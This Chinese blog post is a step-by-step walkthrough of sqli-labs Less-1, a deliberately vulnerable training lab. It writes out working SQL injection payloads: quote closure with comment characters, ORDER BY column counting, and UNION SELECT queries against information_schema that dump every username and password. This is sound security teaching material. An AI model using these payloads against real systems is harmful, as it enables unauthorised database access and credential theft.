首页 > 数据库 >sqli-labs靶场第一关过关教程(保姆级教程:不是新手别进)

sqli-labs靶场第一关过关教程(保姆级教程:不是新手别进)

时间:2024-07-09 23:53:17浏览次数:23  
标签:教程 users 数据库 查询 labs sqli id select 注入

SQL注入漏洞概述

1、什么是SQL注入漏洞

SQL注入漏洞是一个web层面的安全漏洞,web应用与数据库存在交互点,攻击者构建恶意SQL语句,欺骗数据库服务器执行非授权的查询。

2、如何判断网页是否存在SQL注入漏洞

1、web页面与数据库是否存在交互点,这个交互点就是注入点
   常见注入点:URL和表单中的输入域
2、判断能否写入任意的sql语句到目标数据库并返回结果

3、SQL注入的类型:

按注入点分

字符型
数字型

按注入方式分

时间盲注
布尔盲注
报错注入
联合注入
堆叠注入
宽字节注入

4、常见的注释符

#-- /**/%23--+等等

5、常使用函数

database():查看数据库的名称
version():查看数据库的版本
user():查看数据库的使用者
group_concat():将参数拼接到一行进行输出
limit a,b:依次取值,从a+1的位置取b数量的值进行输出
hex():将参数进行16进制编码
unhex():将参数进行16进制解码

6、常用默认数据库中的表

information_schema.schemeta:存储了数据库当中所有数据库的库名
information_schema.tables:存储了数据库当中所有数据库表名
information_schema.columns:存储了数据库当中所有字段名

7、常用字段

table_schema:数据库名
table_name:数据表名
column_name:字段名

实操

寻找注入点

1、首先观察网页,没有看到任何的表单提交框,但是页面当中有一句提示Please input the ID as parameter with numeric value,推断出注入点可能在url当中的id参数

2、那么根据提示,构造参数访问http://ip:1111/Less-1/?id=1试试看,可以看到网站回显了用户的登录名和密码

3、再次测试http://ip:1111/Less-1/?id=2,可以看到网站回显了另外的用户名和密码,由此判断,web页面和数据库存在交互。

判断注入类型以及是否能写入任意sql语句

1、首先我们使用逻辑词and判断是否为数字型,为了便于理解,我将猜测的数据查询语句写下来

select * from users where id=1 and 1=1
select * from users where id=1 and 1=2

and:
左右两边均为真时,输出为真;
左右两边均为假时,输出为假

如果这是数字型的sql注入,我们可以观察页面一个返回正确,一个返回错误,但是我们可以看到页面实际没有任何变化,说明这并非是一个数字型的sql注入

2、判断是否为字符型的sql注入,若为字符型的sql注入那么我们刚才用and测试的时候,后台查询语句将变为下面这这样

select * from users where id='1 and 1=1'
select * from users where id='1 and 1=2'

两次结果是相同的,在这里我产生了疑问,为什么输入的内容不相同,但是输出的结果相同?
这里我去查询了sqli-labs的数据库发现对id字段的定义是int型,Mysql会将传入的string(要赋值给int字段的)从左到右的第一个非数值开始,将后面的字符串转成0,再和和数值类型相加,'1 and 1=1'——>'1+0'——>1,那么两条语句都等效于select * from users where id=1,所以查询到的结果是一样的,到此我想到一个有趣的查询语句,对此我新建了一个数据库。可以看到id并不是数字但是查询到了数据。

好了言归正传,现在我们接着验证是否为字符型的sql注入,首先人为将id参数闭合,并拼接,最末尾的引号用注释符注解掉

select * from users where id='1' and 1=1 -- -'
select * from users where id='1' and 1=2 -- -'

使用两种不同的方式查询,第一种成功查询到了数据,因为and左右两边皆为真;第二种没有查询到数据,因为左右两边有一边为假;由此判断此注入点为字符型的sql注入。

漏洞利用

1、使用order by+二分法查询数据库有多少个字段。如图所示,第一次猜测5时有报错,第二次猜测3时没有报错,第三次猜测4验证一下结果报错,说明一共有3个字段

2、利用假 union select 1,2,3--+查询这三个字段分别在,web界面什么位置回显;具体为什么能这样使用请参考这位博主的文章:https://blog.csdn.net/weixin_44840696/article/details/89166154

3、查询数据库名称:利用假 union select 1,database(),3--+

4、查询表名
假 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+:从系统默认存储所有表名的表information_schema.tables当中,查询'security'数据库当中的所有表的名字,并使用group_concat()拼接到一行

5、查询字段名
假 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+:从系统默认存储所有字段名的表information_schema.columns当中,查询'users'表当中的所有字段名,并使用group_concat()拼接到一行

6、查询字段值
假 union select 1,group_concat(id,":",username,":",password),3 from users--+

标签:教程,users,数据库,查询,labs,sqli,id,select,注入
From: https://www.cnblogs.com/wyw-star/p/18288871

相关文章

  • 2024年AI数字人短视频带货技术教程
    2024年AI数字人短视频带货技术教程摘要:本文详细介绍了2024年AI数字人技术在短视频带货领域的应用教程。通过一系列课程内容,本文旨在指导用户掌握短视频带货的关键技巧和操作流程,提高物流量并优化带货效果。关键词:AI数字人,短视频带货,物流量优化,内容制作,流量提升1.引言随......
  • CAJViewer8.0_下载安装教程
    下载链接:https://fcnkteazjvur.feishu.cn/docx/S5efdYhazoQ35sx3CUCcEuCInTbCAJviewer是一款文档阅读器软件,是知网旗下的文献阅读器,可兼容CAJ和PDF等文件,支持多种文献格式,可以对其内容进行编辑,还能够从扫描的内容中提取文字,对于非扫描文档还可以实现文本和图像的摘录,并可以粘......
  • JDBC连接MySql教程
    一.JDBC的概念JDBC全称JavaDatabaseConnectivity,是给Java开发的人员提供的一套进行数据库操作的工具,它提供了一种标准化的方式来连接到不同数据库的驱动程序,并且可以保证安全、跨平台和高效的数据访问。二.JDBC连接MySql的步骤(一)驱动准备在连接之前必要的就是对应版本......
  • 【SQLite3】常用API
    SQLite3常用API数据库的打开和关闭数据库的打开(sqlite3_open函数)sqlite3_open()函数用于打开一个SQLite数据库文件的函数,函数原型如下:intsqlite3_open(constchar*filename,/*数据库文件的文件名,如果为":memory:"则表示创建内存中数据库*/sqlite3......
  • 服务器怎么连接?服务器远程连接图文教程
    服务器操作系统可以实现对计算机硬件与软件的直接控制和管理协调,任何计算机的运行离不开操作系统,服务器也一样,服务器操作系统主要分为四大流派:WindowsServer、Netware、Unix和Linux今天飞飞就给你们分享下常用的Windows、Linux、Unix三种系统的远程连接图文操作方法一、Windows......
  • 【全开源】2024最新版在线客服系统PHP源码(全新UI+终身使用+安装教程)
    PHP在线客服系统主要功能:1.用户信息用户提交:新用户可以通过表单留言输入相关信息,如用户名、密码、邮箱等,完成后获得唯一的用户ID和密码。2.客服管理客服信息管理:管理客服人员的基本信息,如姓名、工号、权限等。客服工作状态:实时显示客服人员的在线/离线状态,方便客户选择合......
  • ML.NET-模型生成器工具(一)-图片分类教程
    1、创建一个图片分类模型2、配置训练环境  可以是CPU或者GPU3、添加训练数据  有个博主训练了一个检测奥特曼的模型,我找资料时参考了他的文章;所以这里和他保持一致,也训练一个识别奥特曼的模型验证一样。 注意事项:注意文件夹结构要求;注意每种数据的图片个数最好保持......
  • docker-compose创建haproxy教程
    本文主要讲解通过docker-compose创建haproxy并进行代理一、haproxy简介HAProxy是一款基于事件驱动、单进程模型设计的四层与七层负载均衡器,它能够在TCP/UDP层面以及HTTP(S)等应用层协议上实现高效的流量分发。HAProxy不仅适用于Web服务器负载均衡,还能应用于数据库、邮件服务器......
  • redis安装教程
    1.redis下载: Windows下载reids:https://github.com/MSOpenTech/redis/releases。 下载redis的可视化工具:https://github.com/uglide/RedisDesktopManager/releases/download/0.9.3/redis-desktop-manager-0.9.3.817.exe 2.启动redis:,,打开运行窗口,启动redis服务器端,然......
  • 黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
    前言想要成为黑客,却苦于没有方向,不知道从何学起,下面这篇黑客入门教程可以帮你实现自己的黑客梦想,如果想学,可以继续看下去,文章有点长,希望你可以耐心看到最后首先咱们聊聊,学习网络安全方向通常会有哪些问题1、打基础时间太长学基础花费很长时间,光语言都有几门,有些人会倒......